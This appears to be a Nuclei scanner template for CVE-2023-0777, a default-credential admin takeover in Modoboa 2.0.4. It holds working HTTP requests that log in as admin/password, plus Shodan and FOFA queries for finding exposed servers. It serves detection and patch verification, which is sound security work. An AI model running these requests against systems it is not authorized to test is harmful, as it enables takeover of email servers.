modoboa 2.0.4 - Admin TakeOver

id: CVE-2023-0777

info:
  name: modoboa  2.0.4 - Admin TakeOver
  author: r3Y3r53
  severity: critical
  description: |
    Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4.
  impact: |
    Unauthenticated attackers can exploit authentication bypass using default credentials to gain administrator access and completely compromise Modoboa email server installations.
  remediation: update to version 2.0.4
  reference:
    - https://huntr.dev/bounties/a17e7a9f-0fee-4130-a522-5a0466fc17c7/
    - http://packetstormsecurity.com/files/171744/modoboa-2.0.4-Admin-Takeover.html
    - https://github.com/modoboa/modoboa/commit/47d17ac6643f870719691073956a26e4be0a4806
    - https://github.com/7h3h4ckv157/7h3h4ckv157
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-0777
    cwe-id: CWE-305,NVD-CWE-Other
    epss-score: 0.15088
    epss-percentile: 0.96312
    cpe: cpe:2.3:a:modoboa:modoboa:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: modoboa
    product: modoboa
    shodan-query:
      - html:"Modoboa"
      - http.favicon.hash:1949005079
      - http.html:"modoboa"
    fofa-query:
      - body="Modoboa"
      - body="modoboa"
      - icon_hash=1949005079
  tags: cve2023,cve,huntr,packetstorm,modoboa,default-login,vuln

http:
  - raw:
      - |
        GET /accounts/login/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /accounts/login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrfmiddlewaretoken={{csrftoken}}&username={{username}}&password={{password}}&next=%2F
      - |
        GET /dashboard/ HTTP/1.1
        Host: {{Hostname}}

    payloads:
      username:
        - admin
      password:
        - password
    attack: pitchfork
    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "Dashboard") && contains(body_3, "Hello admin")'
        condition: and

    extractors:
      - type: regex
        part: header
        name: csrftoken
        internal: true
        group: 1
        regex:
          - csrftoken=([A-Za-z0-9]+)
# digest: 4b0a00483046022100d21cdf3166daa0da00dc1c47de434b18b6bd474367312754dda24a97ae13e8de022100d881e2b630bf969b0b4991d3acaedd87acd3ec6ac4e8fa5a43ec74f1eaa60138:922c64590222798bb761d5b6d8e72950